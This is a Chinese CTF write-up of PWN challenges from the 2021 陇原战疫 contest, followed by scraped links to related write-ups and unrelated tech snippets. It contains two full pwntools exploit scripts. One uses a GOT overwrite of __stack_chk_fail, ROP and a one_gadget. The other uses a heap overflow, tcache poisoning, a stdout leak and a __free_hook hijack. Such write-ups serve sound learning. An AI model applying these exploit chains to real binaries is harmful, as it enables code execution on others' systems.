bbbaby

控制__stack_chk_fail,栈溢出

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64' p = process('./pwn1')#, env={"LD_PRELOAD":'./libc-2.27.so'})
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn1') s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) def debug():
gdb.attach(p)
pause()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
chk_fail = elf.got['__stack_chk_fail']
rdi = 0x0000000000400a03
pl = 'a'*0x118 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x000000000040086C) + p64(0x00000000004008BB)
p.sendlineafter('choice\n','0')
p.sendlineafter('address:\n',str(chk_fail))
p.sendafter('content:\n',p64(puts_plt))
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2')
libcbase = uu64(r(6)) - libc.sym['puts']
ogg = libcbase + 0x4f322
pl = 'a'*0x118 + p64(ogg)
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2') itr()

Magic

打开一看

熟悉,像是控制流平坦化,不是,就是控制流平坦化混淆。

清楚llvm的混淆原理,那就慢慢分析叭

很简单就一个emmm uaf就完了主要难在分析上。

由于没有2.23的环境就不打了emmm

h3apclass

ren出的题目

这里是存在溢出的,如果把堆块填满的话这里就可以写到下一个堆块的size位置,造成类似off by one的效果,开启了沙盒,心中默念orw优先考虑栈迁移!!!!

已经劫持了,由于16分之一跳起来太难就不搞了

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' #p = remote('39.99.242.16',10002)
p = process('./H3apClass')#, env={"LD_PRELOAD":'./libc.so.6'})
elf=ELF('./H3apClass')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) def debug():
gdb.attach(p)
pause() def add(idx,size,content):
sla('4:Drop homework\n',1)
sla('Which homework?\n',idx)
sla('size:\n',size)
p.sendafter('content:\n',content) def edit(idx,content):
sla('4:Drop homework\n',3)
sla('Which homework?\n',idx)
p.sendafter('content:\n',content) def delete(idx):
sla('4:Drop homework\n',4)
sla('Which homework?\n',idx) add(0,0x18,'b'*0x18)
add(1,0xf8,'bpc')
add(2,0xf8,'bpc')
add(3,0xf8,'bpc')
add(4,0xf8,'bpc')
add(5,0xf8,'bpc')
delete(5)
delete(4)
delete(3)
delete(2)
add(2,0xe8,'bpc')
add(3,0xe8,'bpc')
add(4,0xe8,'bpc')
add(5,0x18,'bpc')
pl = b'a'*0x18 + p16(0x7d1)
edit(0,pl)
delete(1)
delete(4)
delete(3)
delete(2)
add(2,0x70,'bpc')
add(3,0x70,'bpc')
add(4,0x10,'\xa0\x36')
delete(3)
delete(2)
add(2,0xf8,'bpc')
add(3,0xf8,p64(0xfbad1887)+p64(0)*3+b'\x00')
libcbase = uu64((ru('\x7f')[-5:]+b'\x7f')) - 0x1EC980
leak('libcbase',libcbase)
free = libcbase + libc.sym['__free_hook']
pl = b'a'*0x18 + p8(0x81)
edit(0,pl)
delete(0)
delete(1)
delete(5)
delete(4)
edit(2,p64(free)[:6])
add(0,0x18,'bpc')
add(1,0x18,'bpc')
ogg = libcbase + 0x154DD0
add(4,0x18,p64(ogg)) debug() p.interactive()

[复现]陇原战"疫"2021网络安全大赛-PWN的更多相关文章

  1. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  2. 2019年上海市大学生网络安全大赛两道misc WriteUp

    2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...

  3. 全面解析百度大脑发布“AI开发者‘战疫’守护计划”

    即日起,百度大脑发布“AI开发者战疫守护计划” 大疫当前,人人有责,携手开发者共同出击抗击疫情 基于百度大脑AI开放平台和飞桨深度学习平台,积极运用算法.算力.软件等“武器”助力抗疫!   谁能参与计 ...

  4. 百度大脑发布“AI开发者‘战疫’守护计划”,AI支援抗疫再升级

    面对新冠肺炎疫情,AI开发者们正在积极运用算法.算力.软件等“武器”助力抗疫.针对开发者们在疫情防控期间的开发与学习需求,2月6日,百度大脑推出“AI开发者‘战疫’守护计划”, 正在进行疫情防控相关应 ...

  5. 【巨杉数据库SequoiaDB】为“战疫” 保驾护航,巨杉在行动

    2020年,我们经历了一个不平静的新春,在这场大的“战疫”中,巨杉数据库也积极响应号召,勇于承担新一代科技企业的社会担当,用自己的行动助力这场疫情防控阻击战! 赋能“战疫”快速响应 巨杉数据库目前服务 ...

  6. 助力企业战疫提效保质,腾讯wetest远程办公工具包请查收!

    导语 疫情当前,减少个人的出行与聚集成为了抗击疫情的重要防线.不少企业为了员工的安全与战疫的目标,开始实行在家远程办公的措施.作为开发测试人员,对工作环境与设备软件的条件要求相对较高,当前在远程办公的 ...

  7. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

  8. [原题复现][2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)

    简介 今天参加i春秋新春抗疫赛 一道web没整出来 啊啊啊 好垃圾啊啊啊啊啊啊啊  晚上看群里赵师傅的buuoj平台太屌了分分钟上线 然后赵师傅还分享了思路用handler语句绕过select过滤.. ...

  9. 高校战“疫”网络安全分享赛 Misc ez_mem&usb

    打开之后是一个流量包 用wireshark导出HTTP文件,有个upload,用一下binwalk,出来了一个镜像文件 用volatility搜一下,命令里有一个密码,看见了但是后来给忘了... 文件 ...

  10. IT运维软件免费送 智和信通战疫活动火热进行中

    突如其来的“新型冠状病毒”疫情牵动了全国人民的心,这是一场与病毒抗争,为生命逆行与时间赛跑的战役.举国上下众志成城面对疫情,在线医疗.在线教学.在线办公.在线会议.电商销售成为热点.线上经济的火热给企 ...

随机推荐

  1. C#封装以及访问修饰符

    封装 被定义为"把一个或多个项目封闭在一个物理的或者逻辑的包中".在面向对象程序设计方法论中,封装是为了防止对实现细节的访问. 抽象和封装是面向对象程序设计的相关特性.抽象允许相关 ...

  2. js 操作(数字前端去0、文字去除空格、截取字符串、保留几位小数、数字不足位数前补0)

    1.数字前端去0 var num = number.replace(/\b(0+)/gi,"") 2.文字去除空格 var str = str.replace(/(^\s*)|(\ ...

  3. 苹果电脑快捷键使用 Mac快捷键大全详细介绍

    相信有很多刚开始使用苹果电脑操作系统的用户,都并不了解整个MAC操作系统,就连一般快捷键的使用都不清楚,这让人很感觉很苦恼.分享一下Mac快捷键大全的详细介绍,记住这些常用的快捷键,是你熟悉苹果电脑的 ...

  4. (jmeter笔记)jmeter监控服务器资源

    jmeter版本:5.2.1 jdk版本:1.8.0_191 监控服务器的CPU/memory.IO.硬盘等信息 1.下载jmeter-plugins-manager-1.4.jar 插件,解压之后把 ...

  5. oracle 函数instr

  6. jemeter批量测试

    一.使用badboy录制脚本 1.下载安装badboy(参看:https://blog.csdn.net/qq_36396763/article/details/78803381),成功标志如下: 2 ...

  7. .netcore 以widnows服务方式运行

    应用需要 Microsoft.AspNetCore.Hosting.WindowsServices 的包引用. 生成主机时会调用 IHostBuilder.UseWindowsService. 若应用 ...

  8. Absolute Path Traversal 错误解决

    Absolute Path Traversal (APT) 是一种常见的安全漏洞,攻击者可以通过该漏洞访问应用程序的文件系统中的文件, 包括敏感信息,从而可能导致应用程序遭受攻击. 一.使用专门的文件 ...

  9. 使用@Param注解时注意org.springframework.data.repository.query.Param与org.apache.ibatis.annotations.Param的区别

    注解@Param有以下两种: 1.Spring org.springframework.data.repository.query.Param 2.mybatis org.apache.ibatis. ...

  10. python使用openpyxl读取合并单元格的值(转)

    目录问题:解决思路:问题:假设在test.xlsx的"Sheet1"工作表中,A1:D3区域的值如下:要求给定指定的行.列以及对应的工作表作为参数,能够正确解析合并单元格,获取指定 ...